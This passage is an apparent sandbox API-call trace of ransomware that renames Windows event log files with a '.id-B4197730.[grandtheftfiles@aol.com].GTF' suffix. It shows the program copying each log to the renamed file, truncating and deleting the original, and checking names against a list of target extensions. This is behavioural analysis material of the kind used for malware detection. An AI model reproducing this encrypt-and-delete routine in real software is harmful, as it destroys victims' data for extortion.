	[0082.761] GetLastError () returned 0x0
	[0082.761] ReadFile (in: hFile=0x35c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.764] WriteFile (in: hFile=0x31c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.766] ReadFile (in: hFile=0x35c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.766] WriteFile (in: hFile=0x31c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x128, lpOverlapped=0x0) returned 1
	[0082.766] SetEndOfFile (hFile=0x31c) returned 1
	[0082.766] CloseHandle (hObject=0x31c) returned 1
	[0082.768] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.768] SetEndOfFile (hFile=0x35c) returned 1
	[0082.770] CloseHandle (hObject=0x35c) returned 1
	[0082.770] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0082.770] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1
	[0082.770] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.770] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.770] lstrlenW (lpString=".doc") returned 4
	[0082.771] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.771] lstrlenW (lpString=".docx") returned 5
	[0082.771] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.771] lstrlenW (lpString=".pdf") returned 4
	[0082.771] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.771] lstrlenW (lpString=".xls") returned 4
	[0082.771] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.771] lstrlenW (lpString=".xlsx") returned 5
	[0082.771] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.771] lstrlenW (lpString=".ppt") returned 4
	[0082.771] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.771] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.771] lstrlenW (lpString=".zip") returned 4
	[0082.771] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.771] lstrlenW (lpString=".rar") returned 4
	[0082.771] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.771] lstrlenW (lpString=".bz2") returned 4
	[0082.771] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.771] lstrlenW (lpString=".7z") returned 3
	[0082.771] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.771] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.771] lstrlenW (lpString=".dbf") returned 4
	[0082.771] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.771] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.771] lstrlenW (lpString=".1cd") returned 4
	[0082.771] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.771] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.771] lstrlenW (lpString=".jpg") returned 4
	[0082.771] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.771] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.771] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.771] lstrlenW (lpString=".doc") returned 4
	[0082.771] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.771] lstrlenW (lpString=".docx") returned 5
	[0082.771] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.771] lstrlenW (lpString=".pdf") returned 4
	[0082.772] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.772] lstrlenW (lpString=".xls") returned 4
	[0082.772] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.772] lstrlenW (lpString=".xlsx") returned 5
	[0082.772] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.772] lstrlenW (lpString=".ppt") returned 4
	[0082.772] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.772] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.772] lstrlenW (lpString=".zip") returned 4
	[0082.772] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.772] lstrlenW (lpString=".rar") returned 4
	[0082.772] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.772] lstrlenW (lpString=".bz2") returned 4
	[0082.772] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.772] lstrlenW (lpString=".7z") returned 3
	[0082.772] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.772] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.772] lstrlenW (lpString=".dbf") returned 4
	[0082.772] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.772] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.772] lstrlenW (lpString=".1cd") returned 4
	[0082.772] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.772] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.772] lstrlenW (lpString=".jpg") returned 4
	[0082.772] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.772] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0082.772] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 46
	[0082.772] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.773] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=69632) returned 1
	[0082.773] CloseHandle (hObject=0x35c) returned 1
	[0082.773] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20
	[0082.773] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.773] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.773] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.773] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.773] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0082.773] GetLastError () returned 0x0
	[0082.773] ReadFile (in: hFile=0x35c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.776] WriteFile (in: hFile=0x31c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.778] ReadFile (in: hFile=0x35c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.778] WriteFile (in: hFile=0x31c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x130, lpOverlapped=0x0) returned 1
	[0082.778] SetEndOfFile (hFile=0x31c) returned 1
	[0082.779] CloseHandle (hObject=0x31c) returned 1
	[0082.781] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.781] SetEndOfFile (hFile=0x35c) returned 1
	[0082.782] CloseHandle (hObject=0x35c) returned 1
	[0082.783] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0082.783] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1
	[0082.783] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.783] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.783] lstrlenW (lpString=".doc") returned 4
	[0082.783] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.783] lstrlenW (lpString=".docx") returned 5
	[0082.783] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.783] lstrlenW (lpString=".pdf") returned 4
	[0082.783] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.783] lstrlenW (lpString=".xls") returned 4
	[0082.783] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.783] lstrlenW (lpString=".xlsx") returned 5
	[0082.783] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.783] lstrlenW (lpString=".ppt") returned 4
	[0082.783] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.783] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.783] lstrlenW (lpString=".zip") returned 4
	[0082.783] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.783] lstrlenW (lpString=".rar") returned 4
	[0082.783] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.784] lstrlenW (lpString=".bz2") returned 4
	[0082.784] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.784] lstrlenW (lpString=".7z") returned 3
	[0082.784] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.784] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.784] lstrlenW (lpString=".dbf") returned 4
	[0082.784] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.784] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.784] lstrlenW (lpString=".1cd") returned 4
	[0082.784] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.784] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.784] lstrlenW (lpString=".jpg") returned 4
	[0082.784] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.784] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.784] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.784] lstrlenW (lpString=".doc") returned 4
	[0082.784] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.784] lstrlenW (lpString=".docx") returned 5
	[0082.784] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.784] lstrlenW (lpString=".pdf") returned 4
	[0082.784] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.784] lstrlenW (lpString=".xls") returned 4
	[0082.784] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.784] lstrlenW (lpString=".xlsx") returned 5
	[0082.784] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.784] lstrlenW (lpString=".ppt") returned 4
	[0082.784] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.784] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.784] lstrlenW (lpString=".zip") returned 4
	[0082.784] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.784] lstrlenW (lpString=".rar") returned 4
	[0082.784] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.784] lstrlenW (lpString=".bz2") returned 4
	[0082.784] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.784] lstrlenW (lpString=".7z") returned 3
	[0082.784] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.784] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.785] lstrlenW (lpString=".dbf") returned 4
	[0082.785] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.785] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.785] lstrlenW (lpString=".1cd") returned 4
	[0082.785] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.785] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.785] lstrlenW (lpString=".jpg") returned 4
	[0082.785] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.785] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0082.785] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Operational.evtx") returned 45
	[0082.785] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.785] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=69632) returned 1
	[0082.785] CloseHandle (hObject=0x35c) returned 1
	[0082.785] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20
	[0082.785] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.785] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.785] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.786] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.786] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0082.786] GetLastError () returned 0x0
	[0082.786] ReadFile (in: hFile=0x35c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.789] WriteFile (in: hFile=0x31c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.791] ReadFile (in: hFile=0x35c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.791] WriteFile (in: hFile=0x31c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0082.791] SetEndOfFile (hFile=0x31c) returned 1
	[0082.791] CloseHandle (hObject=0x31c) returned 1
	[0082.793] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.793] SetEndOfFile (hFile=0x35c) returned 1
	[0082.794] CloseHandle (hObject=0x35c) returned 1
	[0082.794] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0082.794] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1
	[0082.795] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.795] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.795] lstrlenW (lpString=".doc") returned 4
	[0082.795] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.795] lstrlenW (lpString=".docx") returned 5
	[0082.795] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.795] lstrlenW (lpString=".pdf") returned 4
	[0082.795] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.795] lstrlenW (lpString=".xls") returned 4
	[0082.795] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.795] lstrlenW (lpString=".xlsx") returned 5
	[0082.795] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.795] lstrlenW (lpString=".ppt") returned 4
	[0082.795] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.795] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.795] lstrlenW (lpString=".zip") returned 4
	[0082.795] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.795] lstrlenW (lpString=".rar") returned 4
	[0082.795] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.795] lstrlenW (lpString=".bz2") returned 4
	[0082.795] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.795] lstrlenW (lpString=".7z") returned 3
	[0082.795] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.795] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.795] lstrlenW (lpString=".dbf") returned 4
	[0082.795] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.795] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.795] lstrlenW (lpString=".1cd") returned 4
	[0082.795] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.795] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.795] lstrlenW (lpString=".jpg") returned 4
	[0082.795] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.795] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.795] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.795] lstrlenW (lpString=".doc") returned 4
	[0082.796] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.796] lstrlenW (lpString=".docx") returned 5
	[0082.796] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.796] lstrlenW (lpString=".pdf") returned 4
	[0082.796] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.796] lstrlenW (lpString=".xls") returned 4
	[0082.796] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.796] lstrlenW (lpString=".xlsx") returned 5
	[0082.796] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.796] lstrlenW (lpString=".ppt") returned 4
	[0082.796] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.796] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.796] lstrlenW (lpString=".zip") returned 4
	[0082.796] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.796] lstrlenW (lpString=".rar") returned 4
	[0082.796] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.796] lstrlenW (lpString=".bz2") returned 4
	[0082.796] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.796] lstrlenW (lpString=".7z") returned 3
	[0082.796] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.796] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.796] lstrlenW (lpString=".dbf") returned 4
	[0082.796] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.796] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.796] lstrlenW (lpString=".1cd") returned 4
	[0082.796] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.796] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.796] lstrlenW (lpString=".jpg") returned 4
	[0082.796] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.796] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0082.796] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Security.evtx") returned 42
	[0082.796] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.797] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=69632) returned 1
	[0082.797] CloseHandle (hObject=0x35c) returned 1
	[0082.797] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20
	[0082.797] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.798] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.798] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.798] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.798] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0082.798] GetLastError () returned 0x0
	[0082.798] ReadFile (in: hFile=0x35c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.021] WriteFile (in: hFile=0x31c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.023] ReadFile (in: hFile=0x35c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.023] WriteFile (in: hFile=0x31c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x128, lpOverlapped=0x0) returned 1
	[0083.023] SetEndOfFile (hFile=0x31c) returned 1
	[0083.252] CloseHandle (hObject=0x31c) returned 1
	[0083.655] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.655] SetEndOfFile (hFile=0x35c) returned 1
	[0083.682] CloseHandle (hObject=0x35c) returned 1
